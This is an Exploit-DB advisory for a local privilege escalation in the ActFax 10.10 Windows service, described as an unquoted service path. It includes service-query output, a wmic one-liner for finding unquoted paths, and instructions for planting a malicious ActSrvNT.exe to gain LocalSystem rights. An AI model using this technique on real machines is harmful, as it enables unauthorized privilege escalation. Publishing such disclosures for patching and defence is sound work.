ActFax 10.10 - Unquoted Path Services

EDB-ID:
51332

CVE:
N/A

EDB Verified: ×

Author:
BIRKAN ALHAN

Type:
LOCAL

Exploit: / {}

Platform:
WINDOWS

Date:
2023-04-08

Vulnerable App:

```
# Exploit Title: ActFax 10.10 - Unquoted Path Services
# Date: 22/03/2023
# Exploit Author: Birkan ALHAN (@taftss)
# Vendor Homepage: https://www.actfax.com
# Software Link: https://www.actfax.com/en/download.html
# Version: Version 10.10, Build 0551 (2023-02-01)
# Tested on: Windows 10 21H2 OS Build 19044.2728

#Discover to Unquoted Services Path:

C:\Users\taftss>sc qc ActiveFaxServiceNT
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ActiveFaxServiceNT
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\ActiveFax\Server\ActSrvNT.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ActiveFax-Server-Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\Users\taftss>systeminfo

Host Name: RedsTaftss
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19044 N/A Build 19044

#Another Discover Methot to Unquoted Services Path:

wmic service get name,displayname,pathname,startmode | findstr /i
"auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

#Exploit:

If the attacker has taken over the system and the taken user has write
privileges to the "C:\Program Files\ActiveFax" folder or "C:\", they
can inject their own malicious "ActSrvNT.exe" file. Then the
ActiveFaxServiceNT Service can be restarted to privilege escalation.

--
*Birkan ALHAN*
```

Tags:

Advisory/Source: Link

Databases

Links

Sites

Solutions